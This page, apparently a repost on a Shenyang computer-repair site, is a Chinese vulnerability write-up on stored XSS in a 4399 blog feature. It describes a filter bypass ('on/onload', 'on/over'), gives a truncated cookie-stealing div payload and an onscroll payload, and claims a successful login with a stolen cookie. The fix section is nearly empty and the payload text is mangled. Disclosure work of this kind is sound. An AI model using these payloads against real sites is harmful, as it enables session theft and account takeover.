沈阳电脑维修网,沈阳上门维修电脑服务
当前位置: 主页 > 沈阳网站推广>4399储存型xss绕过过滤器及修复方案 >

4399储存型xss绕过过滤器及修复方案

时间:2017-5-23来源:www.sypcwx.cn 作者: 沈阳电脑维修网点击:
沈阳电脑维修,上门维修电脑
  沈阳电脑维修上门服务13889116605: 4399某功能处可以xss,有过滤器过滤,但是可以通过一些手段进行绕过。1测试地址http://my.4399.com/space-693256254-do-blog-id-114080... 4399某功能处可以xss,有过滤器过滤,但是可以通过一些手段进行绕过。 1测试地址   http://my.4399.com/space-693256254-do-blog-id-1140804.html   请在确认后漏洞后删掉此地址内容。   24399日志处可以构成xss,此处的过滤器   传了个图,插了写代码进去,发现会将onexpression\等过滤成.   3经过测试发现,这里应该是对<img>标签的每个属性进行正则,只要发现就进行过滤,但是一个字符串只是过滤最前面的一个特殊字符。   就是说onloadonload===》.load.loadononload===》.onload   4所以直接构造onload为on/onload即可绕过   5不过在测试时候发现,虽然可以插进去,F12查看也正常,但是没有执行。<img>的onload之类的貌似都会重新判断一次。   比如   //伪代码   if(图片尺寸>50){   img.onload="xxx"   } 所以就又试着插了些别的代码,比如input、iframe等,   6测试之后发现这里貌似只能插入<div><img><a><font><p>等几个标签,看来是做了白名单了   所以就用over   7插一个大点的<img><div>效果也蛮不错诶,基本上进去就会触发了。(图中的红色边框是div的区域,为了让大家看的更加之观点)   图1   8插入的代码,以及F12中看到成功插入   图2图3   9插入了下盗取cookie的代码,并成功盗取cookie登录 将over写为on/over,会过滤成为.over   插入成功后的盗取cookie的代码,用F12那里复制出来如下   (这里要注意对script进行下转换,不然script会被过滤成.)   <divstyle="border:5pxsolidred;".=""over="s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=   图4   10这里<div>也可以插入以下代码直接访问就触发xss   <divid="xx"onscroll="alert(1);"style="height:30px;overflow-y:auto;width:100px;">abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc<aname="t">d</a></div>   div当滚动条滚动的时候触发   div里面的内容是为了让div出现滚动条,name="t"那个是为了让可以直接定位到那里使滚动条滚动   利用地址后面要http://xxx.html#t 要加上#t才会直接到<a>标签name处触发onscroll 11至于给管理员通过意见反馈、私信等途径,发链接去xss管理员cookie和后台地址这些事情我就不干了。 修复方案:   过滤、、  
上一篇:用GNS3做PIX防火墙ICMP实验
查看[4399储存型xss绕过过滤器及修复方案]所有评论
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
用户名: 验证码:
推荐内容
关于我们 服务价格 联系我们 企业网站优化 沈阳网站建设 沈阳维修电脑